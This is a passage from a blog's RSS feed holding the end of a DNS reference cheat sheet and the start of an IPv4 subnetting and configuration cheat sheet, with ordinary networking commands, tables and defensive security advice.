<li><strong>Check propagation across public resolvers.</strong> <code>dig @8.8.8.8 example.com dig @1.1.1.1 example.com</code> Inconsistent answers between resolvers usually just means TTL hasn&#8217;t expired everywhere yet.</li>



<li><strong>Rule out local caching.</strong> Flush your OS DNS cache and browser cache, then retest.</li>



<li><strong>Verify the record type matches expectations.</strong> A surprisingly common issue: someone points a root domain (<code>example.com</code>) at a CNAME, which most authoritative DNS specs disallow at the zone apex. Use an A/ALIAS record instead.</li>



<li><strong>Check for typos in the value itself.</strong> Trailing dots, extra spaces in TXT records, or a transposed IP octet are the usual suspects.</li>



<li><strong>Confirm NS delegation matches at the registrar.</strong> <code>dig example.com NS whois example.com</code> If the registrar&#8217;s NS records don&#8217;t match what your DNS provider expects, nothing else will work correctly no matter how clean your zone file is.</li>



<li><strong>For email issues specifically, verify MX, SPF, DKIM, and DMARC together</strong> — they&#8217;re interdependent, and a broken SPF record will cause deliverability issues even when MX is perfectly fine.</li>



<li><strong>For SSL/TLS issuance failures, check CAA records.</strong> <code>dig example.com CAA</code> If a CAA record restricts issuance to a CA other than the one you&#8217;re using, issuance will fail silently from the certificate provider&#8217;s side.</li>
</ol>



<h2 class="wp-block-heading">9. TTL and DNS Propagation Explained</h2>



<p class="wp-block-paragraph">TTL (Time To Live) is measured in seconds and tells every resolver how long it&#8217;s allowed to cache a record before re-querying the authoritative server.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>TTL Value</th><th>Human Readable</th><th>Common Use Case</th></tr></thead><tbody><tr><td>60</td><td>1 minute</td><td>Active migration, testing changes</td></tr><tr><td>300</td><td>5 minutes</td><td>Pre-migration window</td></tr><tr><td>3600</td><td>1 hour</td><td>Standard default for most records</td></tr><tr><td>14400</td><td>4 hours</td><td>Stable records, low change frequency</td></tr><tr><td>86400</td><td>24 hours</td><td>Long-term stable infrastructure</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">A practical workflow I follow before any DNS migration: lower the TTL to 300 seconds at least 24–48 hours in advance. That way, when the actual cutover happens, cached copies expire quickly and the change propagates fast. After the migration settles, I raise the TTL back to a normal value to reduce query load on the authoritative servers.</p>



<p class="wp-block-paragraph">&#8220;Propagation&#8221; isn&#8217;t really DNS data traveling anywhere — the authoritative record updates instantly. What you&#8217;re actually waiting on is every resolver&#8217;s cached copy expiring according to its TTL. That&#8217;s why full propagation can take anywhere from a few minutes to 48 hours.</p>



<h2 class="wp-block-heading">10. DNS Security Best Practices</h2>



<ul class="wp-block-list">
<li><strong>Enable DNSSEC</strong> where your registrar and DNS provider support it. It cryptographically signs records so resolvers can verify authenticity and reject tampered responses.</li>



<li><strong>Set CAA records</strong> to restrict which Certificate Authorities can issue certs for your domain — this closes off a class of mis-issuance attacks.</li>



<li><strong>Use SPF, DKIM, and DMARC together</strong>, not in isolation. SPF alone is easily bypassed; DMARC is what actually enforces policy and gives you visibility through aggregate reports.</li>



<li><strong>Lock your registrar account</strong> with two-factor authentication and enable registry lock if your registrar offers it — domain hijacking usually starts at the registrar, not the DNS provider.</li>



<li><strong>Avoid wildcard DNS records unless you specifically need them.</strong> A wildcard (<code>*.example.com</code>) can accidentally expose unintended subdomains to whatever the wildcard points to.</li>



<li><strong>Monitor for DNS cache poisoning symptoms</strong> — unexpected redirects, SSL warnings on a domain that should have a valid cert, or resolution mismatches between resolvers.</li>



<li><strong>Use DNS over HTTPS (DoH) or DNS over TLS (DoT)</strong> on client devices where privacy from network-level snooping matters.</li>



<li><strong>Rotate and audit NS delegation periodically</strong> — orphaned or stale name server entries are a quiet security risk that rarely gets checked.</li>
</ul>



<h2 class="wp-block-heading">11. Real-World DNS Workflows</h2>



<p class="wp-block-paragraph"><strong>Verifying domain ownership for a third-party service (Google Workspace, AWS, etc.):</strong></p>



<pre class="wp-block-code"><code>TXT record: example.com -&gt; "google-site-verification=abc123..."
</code></pre>



<p class="wp-block-paragraph">Add it, wait for propagation, then trigger verification on the provider&#8217;s side. If verification fails immediately, it&#8217;s almost always a caching delay — wait a few minutes and retry rather than re-adding the record.</p>



<p class="wp-block-paragraph"><strong>Setting up email for a custom domain:</strong></p>



<pre class="wp-block-code"><code>example.com.  MX  10  mail.example.com.
example.com.  TXT     "v=spf1 include:_spf.provider.com ~all"
_dmarc.example.com. TXT "v=DMARC1; p=none; rua=mailto:reports@example.com"
</code></pre>



<p class="wp-block-paragraph">I always start DMARC at <code>p=none</code> to monitor reports before moving to <code>p=quarantine</code> or <code>p=reject</code>, so a misconfiguration doesn&#8217;t silently drop legitimate mail.</p>



<p class="wp-block-paragraph"><strong>Debugging &#8220;site works for me but not for a colleague&#8221;:</strong> This is almost always a propagation or local caching difference. Run <code>dig</code> against the same public resolver (like 1.1.1.1) from both machines to compare directly, rather than relying on default ISP resolvers which may have cached different states.</p>



<p class="wp-block-paragraph"><strong>Migrating DNS providers without downtime:</strong></p>



<ol class="wp-block-list">
<li>Lower TTLs a day or two ahead.</li>



<li>Recreate every record exactly at the new provider.</li>



<li>Double-check MX, TXT, and CAA records specifically — these are the ones people forget to copy.</li>



<li>Update the NS records at the registrar.</li>



<li>Monitor both old and new authoritative servers for query traffic until it fully shifts.</li>
</ol>



<h2 class="wp-block-heading">12. Common DNS Mistakes to Avoid</h2>



<ul class="wp-block-list">
<li>Forgetting the trailing dot in raw zone file entries, causing the value to be appended to the zone name.</li>



<li>Setting a CNAME at the root/apex domain, which conflicts with the required SOA and NS records there.</li>



<li>Leaving TTL high right before a planned migration, causing an unnecessarily long cutover window.</li>



<li>Copying an old SPF record verbatim into a new provider setup without updating the <code>include</code> mechanisms, breaking deliverability.</li>



<li>Assuming a DNS change is &#8220;not working&#8221; when it&#8217;s really just still propagating — always verify against a fresh resolver before troubleshooting further.</li>



<li>Deleting old MX or A records too early during a migration, before confirming the new ones are live and consistent everywhere.</li>



<li>Overlooking CAA records when a certificate suddenly stops renewing.</li>



<li>Using <code>ANY</code> queries for troubleshooting — many resolvers now throttle or refuse them; query specific types instead.</li>
</ul>



<h2 class="wp-block-heading">13. FAQs</h2>



<p class="wp-block-paragraph"><strong>Q: Why does a DNS change take time to show up everywhere?</strong> Because of caching. Every resolver in the chain holds onto the old answer until its TTL expires — the origin record updates instantly, but the world catches up gradually.</p>



<p class="wp-block-paragraph"><strong>Q: What&#8217;s the difference between A and CNAME records?</strong> An A record points a name directly to an IP address. A CNAME points a name to another name, which then gets resolved further. CNAMEs can&#8217;t coexist with other record types on the same name, and generally shouldn&#8217;t be used at the zone apex.</p>



<p class="wp-block-paragraph"><strong>Q: Why is my email going to spam even though MX records are correct?</strong> MX only controls where mail is delivered, not deliverability. Check SPF, DKIM, and DMARC — missing or misaligned records here are the most common cause of spam placement.</p>



<p class="wp-block-paragraph"><strong>Q: What&#8217;s the fastest public DNS resolver?</strong> Performance varies by location and network, but 1.1.1.1 (Cloudflare), 8.8.8.8 (Google), and 9.9.9.9 (Quad9) are all reliable, privacy-conscious options worth benchmarking against your ISP&#8217;s default.</p>



<p class="wp-block-paragraph"><strong>Q: Can I have two MX records for redundancy?</strong> Yes — that&#8217;s standard practice. Give the backup a higher priority number (a higher number means lower preference), so it&#8217;s only used when the primary is unreachable.</p>



<p class="wp-block-paragraph"><strong>Q: What is a glue record?</strong> A glue record is an A/AAAA record for a name server that itself lives inside the domain it serves (e.g., <code>ns1.example.com</code> handling DNS for <code>example.com</code>). It&#8217;s needed to avoid a circular lookup dependency and is managed at the registrar level.</p>



<p class="wp-block-paragraph"><strong>Q: Does lowering TTL affect performance?</strong> Very slightly — lower TTLs mean more frequent queries to the authoritative server since caches expire faster. For most domains this is negligible; it only matters at very high query volumes.</p>



<h2 class="wp-block-heading">14. Interview Questions and Answers</h2>



<p class="wp-block-paragraph"><strong>Q: Explain the DNS resolution process from browser to response.</strong> A: The resolver checks local caches first, then queries a recursive resolver, which walks the hierarchy from root → TLD → authoritative server, returning the final answer, which gets cached at each layer per the record&#8217;s TTL.</p>



<p class="wp-block-paragraph"><strong>Q: What&#8217;s the difference between a recursive resolver and an authoritative name server?</strong> A: A recursive resolver does the work of tracking down an answer on behalf of a client and caches the result. An authoritative name server holds the actual source-of-truth records for a specific zone and doesn&#8217;t perform lookups on behalf of others.</p>



<p class="wp-block-paragraph"><strong>Q: Why can&#8217;t you put a CNAME record at the zone apex?</strong> A: Because the apex must also hold SOA and NS records, and DNS specifications don&#8217;t allow a CNAME to coexist with other record types on the same name.</p>



<p class="wp-block-paragraph"><strong>Q: What does a high MX priority number mean?</strong> A: Counter-intuitively, a higher number means lower priority. The mail server with the lowest number is tried first.</p>



<p class="wp-block-paragraph"><strong>Q: What problem does DNSSEC solve?</strong> A: It adds cryptographic signing to DNS responses so resolvers can verify that a record hasn&#8217;t been tampered with in transit, protecting against cache poisoning and spoofing attacks.</p>



<p class="wp-block-paragraph"><strong>Q: How would you troubleshoot a domain that resolves correctly from one location but not another?</strong> A: Query the same public resolver from both locations to rule out caching differences, confirm the authoritative server itself has the correct record, and check for any geo-based DNS routing or CDN configuration that might legitimately return different answers by region.</p>



<p class="wp-block-paragraph"><strong>Q: What&#8217;s the purpose of a PTR record?</strong> A: It provides reverse DNS — mapping an IP address back to a hostname — which is commonly checked by mail servers as part of spam filtering and sender reputation checks.</p>



<h2 class="wp-block-heading">15. Printable Quick-Reference Summary</h2>



<pre class="wp-block-code"><code>RECORD TYPES
A       -&gt; hostname to IPv4
AAAA    -&gt; hostname to IPv6
CNAME   -&gt; alias to another hostname
MX      -&gt; mail server + priority
TXT     -&gt; text data (SPF/DKIM/DMARC/verification)
NS      -&gt; delegated name servers
SOA     -&gt; zone authority metadata
PTR     -&gt; IP to hostname (reverse DNS)
SRV     -&gt; service host + port
CAA     -&gt; allowed certificate authorities

CORE COMMANDS
dig example.com                  quick lookup
dig example.com MX +short        specific type, short output
dig @8.8.8.8 example.com         query specific resolver
dig example.com +trace           full resolution path
nslookup -type=MX example.com    Windows-friendly lookup
ipconfig /flushdns               flush cache (Windows)
sudo systemd-resolve --flush-caches   flush cache (Linux)

TROUBLESHOOTING ORDER
1. Check authoritative source
2. Check public resolvers (1.1.1.1, 8.8.8.8)
3. Flush local/browser cache
4. Verify record type and value syntax
5. Confirm NS delegation at registrar
6. Check SPF/DKIM/DMARC for email issues
7. Check CAA for certificate issues
</code></pre>



<h2 class="wp-block-heading">16. Official Documentation Links</h2>



<ul class="wp-block-list">
<li>IETF RFC 1035 (Domain Names — Implementation and Specification): https://www.rfc-editor.org/rfc/rfc1035</li>



<li>IETF RFC 1034 (Domain Names — Concepts and Facilities): https://www.rfc-editor.org/rfc/rfc1034</li>



<li>ICANN — DNS Resources: https://www.icann.org/resources/pages/dns-2012-02-25-en</li>



<li>Cloudflare DNS Learning Center: https://www.cloudflare.com/learning/dns/what-is-dns/</li>



<li>Google Public DNS Documentation: https://developers.google.com/speed/public-dns/docs</li>



<li>DNSSEC information (ICANN): https://www.icann.org/resources/pages/dnssec-what-is-it-why-important-2019-03-05-en</li>



<li>IANA Root Zone Database: https://www.iana.org/domains/root/db</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">That&#8217;s the reference I keep coming back to. DNS problems are rarely mysterious once you approach them systematically — check the source of truth first, work outward through caching layers, and match the record type to what you&#8217;re actually trying to accomplish. Keep this page bookmarked; you&#8217;ll need it again sooner than you think.</p>
<p>The post <a href="https://awjunaid.com/cheatsheet/ultimate-dns-cheat-sheet/">Ultimate DNS Cheat Sheet: Essential DNS Records, Commands, and Troubleshooting</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/cheatsheet/ultimate-dns-cheat-sheet/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">6021</post-id>	</item>
		<item>
		<title>Ultimate IPv4 Cheat Sheet: Subnetting, Addressing, and Configuration Reference</title>
		<link>https://awjunaid.com/cheatsheet/ultimate-ipv4-cheat-sheet/</link>
					<comments>https://awjunaid.com/cheatsheet/ultimate-ipv4-cheat-sheet/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Thu, 21 Sep 2023 20:08:26 +0000</pubDate>
				<category><![CDATA[Cheatsheet]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=6018</guid>

					<description><![CDATA[<p>Subnetting is one of those skills that feels impossible until it suddenly clicks, and then you can&#8217;t understand&#8230;</p>
<p>The post <a href="https://awjunaid.com/cheatsheet/ultimate-ipv4-cheat-sheet/">Ultimate IPv4 Cheat Sheet: Subnetting, Addressing, and Configuration Reference</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Subnetting is one of those skills that feels impossible until it suddenly clicks, and then you can&#8217;t understand why it ever felt hard. I&#8217;ve spent enough years explaining CIDR notation on whiteboards and debugging &#8220;why can&#8217;t these two devices see each other&#8221; tickets that I finally put everything into one reference — the tables I actually use, the commands I actually run, and the mental math shortcuts that make subnetting fast instead of painful.</p>



<p class="wp-block-paragraph">This is built for quick scanning. Whether you&#8217;re studying for a certification, configuring a router at 2am, or just trying to remember what a /27 gives you, everything you need is below.</p>



<h2 class="wp-block-heading">Table of Contents</h2>



<ol class="wp-block-list">
<li>IPv4 Address Structure Basics</li>



<li>IPv4 Address Classes (Legacy Reference)</li>



<li>CIDR Notation and Subnet Mask Reference Table</li>



<li>Binary-to-Decimal Conversion Reference</li>



<li>Subnetting Step-by-Step Method</li>



<li>VLSM (Variable Length Subnet Masking) Explained</li>



<li>Private, Public, and Reserved Address Ranges</li>



<li>Special and Reserved IPv4 Addresses</li>



<li>Essential IP Configuration Commands by Platform</li>



<li>Network Troubleshooting Commands</li>



<li>IPv4 Troubleshooting Playbook</li>



<li>Security Best Practices for IPv4 Networks</li>



<li>Real-World Subnetting Workflows</li>



<li>Common Subnetting Mistakes to Avoid</li>



<li>FAQs</li>



<li>Interview Questions and Answers</li>



<li>Printable Quick-Reference Summary</li>



<li>Official Documentation Links</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">1. IPv4 Address Structure Basics</h2>



<p class="wp-block-paragraph">An IPv4 address is a 32-bit number, written as four 8-bit octets separated by dots — what&#8217;s called dotted-decimal notation.</p>



<pre class="wp-block-code"><code>192   .   168   .   1    .   10
11000000.10101000.00000001.00001010
</code></pre>



<p class="wp-block-paragraph">Each octet ranges from 0 to 255 (since 8 bits gives you 2^8 = 256 possible values). The address is split conceptually into a <strong>network portion</strong> and a <strong>host portion</strong>, and where that split happens is exactly what subnetting controls.</p>



<h2 class="wp-block-heading">2. IPv4 Address Classes (Legacy Reference)</h2>



<p class="wp-block-paragraph">Classful addressing is mostly obsolete now that CIDR is standard, but it still shows up in exams, legacy documentation, and default subnet mask assumptions — so it&#8217;s worth keeping straight.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Class</th><th>Leading Bits</th><th>First Octet Range</th><th>Default Mask</th><th>Default CIDR</th><th>Typical Use</th></tr></thead><tbody><tr><td>A</td><td>0</td><td>1 – 126</td><td>255.0.0.0</td><td>/8</td><td>Very large networks</td></tr><tr><td>B</td><td>10</td><td>128 – 191</td><td>255.255.0.0</td><td>/16</td><td>Medium-large networks</td></tr><tr><td>C</td><td>110</td><td>192 – 223</td><td>255.255.255.0</td><td>/24</td><td>Small networks</td></tr><tr><td>D</td><td>1110</td><td>224 – 239</td><td>N/A</td><td>N/A</td><td>Multicast</td></tr><tr><td>E</td><td>1111</td><td>240 – 255</td><td>N/A</td><td>N/A</td><td>Experimental/reserved</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Note that 127.x.x.x is technically inside the Class A range but is reserved entirely for loopback, so it&#8217;s excluded from usable Class A assignments.</p>



<h2 class="wp-block-heading">3. CIDR Notation and Subnet Mask Reference Table</h2>



<p class="wp-block-paragraph">This is the table worth memorizing, or at minimum bookmarking. It covers every practical prefix length.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>CIDR</th><th>Subnet Mask</th><th>Wildcard Mask</th><th>Total Addresses</th><th>Usable Hosts</th></tr></thead><tbody><tr><td>/24</td><td>255.255.255.0</td><td>0.0.0.255</td><td>256</td><td>254</td></tr><tr><td>/25</td><td>255.255.255.128</td><td>0.0.0.127</td><td>128</td><td>126</td></tr><tr><td>/26</td><td>255.255.255.192</td><td>0.0.0.63</td><td>64</td><td>62</td></tr><tr><td>/27</td><td>255.255.255.224</td><td>0.0.0.31</td><td>32</td><td>30</td></tr><tr><td>/28</td><td>255.255.255.240</td><td>0.0.0.15</td><td>16</td><td>14</td></tr><tr><td>/29</td><td>255.255.255.248</td><td>0.0.0.7</td><td>8</td><td>6</td></tr><tr><td>/30</td><td>255.255.255.252</td><td>0.0.0.3</td><td>4</td><td>2</td></tr><tr><td>/31</td><td>255.255.255.254</td><td>0.0.0.1</td><td>2</td><td>2 (point-to-point, RFC 3021)</td></tr><tr><td>/32</td><td>255.255.255.255</td><td>0.0.0.0</td><td>1</td><td>1 (host route)</td></tr><tr><td>/23</td><td>255.255.254.0</td><td>0.0.1.255</td><td>512</td><td>510</td></tr><tr><td>/22</td><td>255.255.252.0</td><td>0.0.3.255</td><td>1024</td><td>1022</td></tr><tr><td>/21</td><td>255.255.248.0</td><td>0.0.7.255</td><td>2048</td><td>2046</td></tr><tr><td>/20</td><td>255.255.240.0</td><td>0.0.15.255</td><td>4096</td><td>4094</td></tr><tr><td>/16</td><td>255.255.0.0</td><td>0.0.255.255</td><td>65536</td><td>65534</td></tr><tr><td>/8</td><td>255.0.0.0</td><td>0.255.255.255</td><td>16777216</td><td>16777214</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Usable hosts is always total addresses minus 2 (network address and broadcast address reserved) — except at /31 and /32, which have special-case rules for point-to-point links and host routes.</p>



<h2 class="wp-block-heading">4. Binary-to-Decimal Conversion Reference</h2>



<p class="wp-block-paragraph">Subnetting fundamentally comes down to binary math, so having the octet bit values memorized speeds everything up:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Bit Position</th><th>1</th><th>2</th><th>3</th><th>4</th><th>5</th><th>6</th><th>7</th><th>8</th></tr></thead><tbody><tr><td>Value</td><td>128</td><td>64</td><td>32</td><td>16</td><td>8</td><td>4</td><td>2</td><td>1</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Any subnet mask octet is just a sum of these values from left to right, with no gaps:</p>



<pre class="wp-block-code"><code>128            = 10000000  -&gt; /1 in that octet
128+64         = 11000000  -&gt; /2
128+64+32      = 11100000  -&gt; /3
128+64+32+16   = 11110000  -&gt; /4
... and so on up to /8 = 11111111 = 255
</code></pre>



<p class="wp-block-paragraph">That&#8217;s why valid subnet mask octets are only ever: 0, 128, 192, 224, 240, 248, 252, 254, 255 — nothing else is possible in a contiguous mask.</p>



<h2 class="wp-block-heading">5. Subnetting Step-by-Step Method</h2>



<p class="wp-block-paragraph">Here&#8217;s the method I actually use when subnetting on the fly, using an example: <strong>Subnet 192.168.10.0/24 into blocks of at least 30 usable hosts each.</strong></p>



<ol class="wp-block-list">
<li><strong>Find the required host bits.</strong> 30 usable hosts needs 2^n &#8211; 2 ≥ 30, so n = 5 (2^5 &#8211; 2 = 30). That means 5 host bits, leaving 3 bits borrowed from the network portion.</li>



<li><strong>Determine the new prefix.</strong> /24 + 3 borrowed bits = /27.</li>



<li><strong>Find the block size (increment).</strong> With 5 host bits remaining, block size = 2^5 = 32.</li>



<li><strong>List the subnets</strong> by counting up in that increment from the original network address:</li>
</ol>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Subnet</th><th>Network Address</th><th>Usable Range</th><th>Broadcast Address</th></tr></thead><tbody><tr><td>1</td><td>192.168.10.0</td><td>.1 – .30</td><td>192.168.10.31</td></tr><tr><td>2</td><td>192.168.10.32</td><td>.33 – .62</td><td>192.168.10.63</td></tr><tr><td>3</td><td>192.168.10.64</td><td>.65 – .94</td><td>192.168.10.95</td></tr><tr><td>4</td><td>192.168.10.96</td><td>.97 – .126</td><td>192.168.10.127</td></tr><tr><td>5</td><td>192.168.10.128</td><td>.129 – .158</td><td>192.168.10.159</td></tr><tr><td>6</td><td>192.168.10.160</td><td>.161 – .190</td><td>192.168.10.191</td></tr><tr><td>7</td><td>192.168.10.192</td><td>.193 – .222</td><td>192.168.10.223</td></tr><tr><td>8</td><td>192.168.10.224</td><td>.225 – .254</td><td>192.168.10.255</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">That single /24 becomes eight usable /27 subnets, each supporting 30 hosts.</p>



<h2 class="wp-block-heading">6. VLSM (Variable Length Subnet Masking) Explained</h2>



<p class="wp-block-paragraph">VLSM lets you subnet a network into unequal-sized blocks, matching each subnet to its actual host requirement instead of wasting addresses on a uniform size. This is standard practice in any real-world network design.</p>



<p class="wp-block-paragraph"><strong>Example scenario:</strong> You have 192.168.20.0/24 and need to support:</p>



<ul class="wp-block-list">
<li>Sales department: 60 hosts</li>



<li>Engineering department: 28 hosts</li>



<li>Point-to-point router link: 2 hosts</li>
</ul>



<p class="wp-block-paragraph">Work from largest requirement to smallest:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Segment</th><th>Hosts Needed</th><th>Prefix Used</th><th>Network</th><th>Usable Range</th><th>Broadcast</th></tr></thead><tbody><tr><td>Sales</td><td>60</td><td>/26 (62 usable)</td><td>192.168.20.0/26</td><td>.1 – .62</td><td>192.168.20.63</td></tr><tr><td>Engineering</td><td>28</td><td>/27 (30 usable)</td><td>192.168.20.64/27</td><td>.65 – .94</td><td>192.168.20.95</td></tr><tr><td>Router link</td><td>2</td><td>/30 (2 usable)</td><td>192.168.20.96/30</td><td>.97 – .98</td><td>192.168.20.99</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">This is the efficient, professional way to allocate address space — always sort requirements largest to smallest before assigning, so you don&#8217;t fragment your available block prematurely.</p>



<h2 class="wp-block-heading">7. Private, Public, and Reserved Address Ranges</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Range</th><th>CIDR</th><th>Type</th><th>Notes</th></tr></thead><tbody><tr><td>10.0.0.0 – 10.255.255.255</td><td>10.0.0.0/8</td><td>Private</td><td>Common in large enterprise networks</td></tr><tr><td>172.16.0.0 – 172.31.255.255</td><td>172.16.0.0/12</td><td>Private</td><td>Common in mid-size networks, Docker defaults</td></tr><tr><td>192.168.0.0 – 192.168.255.255</td><td>192.168.0.0/16</td><td>Private</td><td>Most common in home/small office routers</td></tr><tr><td>100.64.0.0 – 100.127.255.255</td><td>100.64.0.0/10</td><td>Shared/CGNAT</td><td>Used by ISPs for carrier-grade NAT</td></tr><tr><td>All other unicast ranges</td><td>—</td><td>Public</td><td>Globally routable on the internet</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">These private ranges are defined in RFC 1918 and are never routed on the public internet — devices using them reach the internet through NAT.</p>



<h2 class="wp-block-heading">8. Special and Reserved IPv4 Addresses</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Address / Range</th><th>Purpose</th></tr></thead><tbody><tr><td>127.0.0.0/8</td><td>Loopback (localhost)</td></tr><tr><td>169.254.0.0/16</td><td>APIPA — auto-assigned when DHCP fails</td></tr><tr><td>0.0.0.0</td><td>&#8220;This network&#8221; / default route in routing tables</td></tr><tr><td>255.255.255.255</td><td>Limited broadcast</td></tr><tr><td>224.0.0.0/4</td><td>Multicast range</td></tr><tr><td>192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24</td><td>TEST-NET ranges reserved for documentation/examples</td></tr><tr><td>198.18.0.0/15</td><td>Reserved for network benchmarking</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">I use the TEST-NET ranges constantly when writing documentation or examples specifically so I don&#8217;t accidentally reference a real, live IP address.</p>



<h2 class="wp-block-heading">9. Essential IP Configuration Commands by Platform</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Task</th><th>Windows</th><th>Linux</th><th>macOS</th></tr></thead><tbody><tr><td>Show IP configuration</td><td><code>ipconfig /all</code></td><td><code>ip addr show</code> or <code>ifconfig</code></td><td><code>ifconfig</code> or <code>ipconfig getifaddr en0</code></td></tr><tr><td>Release DHCP lease</td><td><code>ipconfig /release</code></td><td><code>sudo dhclient -r</code></td><td><code>sudo ipconfig set en0 DHCP</code></td></tr><tr><td>Renew DHCP lease</td><td><code>ipconfig /renew</code></td><td><code>sudo dhclient</code></td><td><code>sudo ipconfig set en0 DHCP</code></td></tr><tr><td>Set static IP</td><td>via Network Settings / netsh</td><td><code>sudo ip addr add 192.168.1.50/24 dev eth0</code></td><td>via System Settings / <code>networksetup</code></td></tr><tr><td>Show routing table</td><td><code>route print</code></td><td><code>ip route</code> or <code>route -n</code></td><td><code>netstat -rn</code></td></tr><tr><td>Add a static route</td><td><code>route add</code></td><td><code>sudo ip route add</code></td><td><code>sudo route add</code></td></tr><tr><td>Flush DNS cache</td><td><code>ipconfig /flushdns</code></td><td><code>sudo systemd-resolve --flush-caches</code></td><td><code>sudo dscacheutil -flushcache</code></td></tr><tr><td>Show ARP table</td><td><code>arp -a</code></td><td><code>ip neigh</code> or <code>arp -a</code></td><td><code>arp -a</code></td></tr></tbody></table></figure>



<h2 class="wp-block-heading">10. Network Troubleshooting Commands</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Task</th><th>Command</th><th>What It Tells You</th></tr></thead><tbody><tr><td>Test reachability</td><td><code>ping &lt;ip&gt;</code></td><td>Basic connectivity and latency</td></tr><tr><td>Trace the path</td><td><code>tracert &lt;ip&gt;</code> (Windows) / <code>traceroute &lt;ip&gt;</code> (Linux/macOS)</td><td>Every hop between you and the destination</td></tr><tr><td>Check open connections</td><td><code>netstat -an</code></td><td>Active connections and listening ports</td></tr><tr><td>Modern netstat replacement</td><td><code>ss -tulnp</code> (Linux)</td><td>Faster, more detailed socket info</td></tr><tr><td>Check a specific port</td><td><code>telnet &lt;ip&gt; &lt;port&gt;</code> or <code>nc -zv &lt;ip&gt; &lt;port&gt;</code></td><td>Whether a port is open/reachable</td></tr><tr><td>Continuous ping stats</td><td><code>ping -t</code> (Windows) / <code>ping</code> (Linux, runs continuously by default)</td><td>Ongoing packet loss/latency monitoring</td></tr><tr><td>Path MTU discovery</td><td><code>ping -f -l &lt;size&gt;</code> (Windows) / <code>ping -M do -s &lt;size&gt;</code> (Linux)</td><td>Finding the maximum packet size that isn&#8217;t fragmented</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">11. IPv4 Troubleshooting Playbook</h2>



<p class="wp-block-paragraph">When a device can&#8217;t reach something, I work outward in layers rather than guessing:</p>



<ol class="wp-block-list">
<li><strong>Check local IP configuration.</strong> Confirm the device actually has a valid IP, correct subnet mask, and default gateway — not a 169.254.x.x APIPA address, which signals a failed DHCP request. <code>ipconfig /all (or) ip addr show</code></li>



<li><strong>Ping the default gateway.</strong> If this fails, the problem is local — cabling, switch port, Wi-Fi association, or VLAN misconfiguration.</li>



<li><strong>Ping a known external IP</strong> (like 1.1.1.1). If the gateway works but this doesn&#8217;t, it&#8217;s a routing or ISP-side issue.</li>



<li><strong>Ping a domain name.</strong> If the IP ping works but the domain doesn&#8217;t, that isolates the issue to DNS rather than connectivity.</li>



<li><strong>Check the subnet math.</strong> A device with an IP correctly assigned but the wrong subnet mask will &#8220;see&#8221; other devices as being on a different network than they actually are, causing intermittent or one-directional connectivity issues.</li>



<li><strong>Trace the route</strong> to see exactly where packets stop or start showing high latency.</li>



<li><strong>Check for IP conflicts.</strong> Two devices with the same static IP on one network cause sporadic, hard-to-reproduce connectivity issues — the ARP table (<code>arp -a</code>) can reveal duplicate entries.</li>



<li><strong>Verify firewall/ACL rules</strong> aren&#8217;t silently dropping traffic on a specific port, especially after a recent change.</li>
</ol>



<h2 class="wp-block-heading">12. Security Best Practices for IPv4 Networks</h2>



<ul class="wp-block-list">
<li><strong>Segment networks with VLANs and subnets</strong> so a compromised device on one segment can&#8217;t freely reach sensitive systems on another.</li>



<li><strong>Use NAT and private addressing</strong> for internal devices so they&#8217;re never directly exposed to the public internet.</li>



<li><strong>Apply the principle of least privilege in ACLs</strong> — default deny, then explicitly allow only what&#8217;s needed, rather than default allow with exceptions.</li>



<li><strong>Avoid overly broad subnet allocations.</strong> A /16 for a department that needs 50 hosts isn&#8217;t just wasteful — it also expands the blast radius of anything that goes wrong on that segment.</li>



<li><strong>Disable unused switch ports</strong> and apply port security to limit MAC address flooding and rogue device connections.</li>



<li><strong>Monitor for ARP spoofing</strong> on flat, unsegmented networks — it&#8217;s one of the simplest and most effective attacks on IPv4 LANs.</li>



<li><strong>Use DHCP snooping</strong> on managed switches to prevent rogue DHCP servers from handing out malicious gateway/DNS settings.</li>



<li><strong>Log and audit static IP assignments</strong> separately from DHCP pools to avoid silent conflicts and to track exactly what&#8217;s supposed to be where.</li>
</ul>



<h2 class="wp-block-heading">13. Real-World Subnetting Workflows</h2>



<p class="wp-block-paragraph"><strong>Designing subnets for a small office (3 departments, 1 router link):</strong> Start with the total address block you&#8217;ve been given (say, a /24), sort departments by host count, and assign VLSM subnets from largest to smallest — exactly as shown in Section 6. This avoids the common beginner mistake of dividing everything into equal-sized chunks regardless of actual need.</p>



<p class="wp-block-paragraph"><strong>Migrating a network from a flat /24 to segmented VLANs:</strong></p>



<ol class="wp-block-list">
<li>Inventory current device count per functional group (workstations, servers, printers, guest Wi-Fi, VoIP).</li>



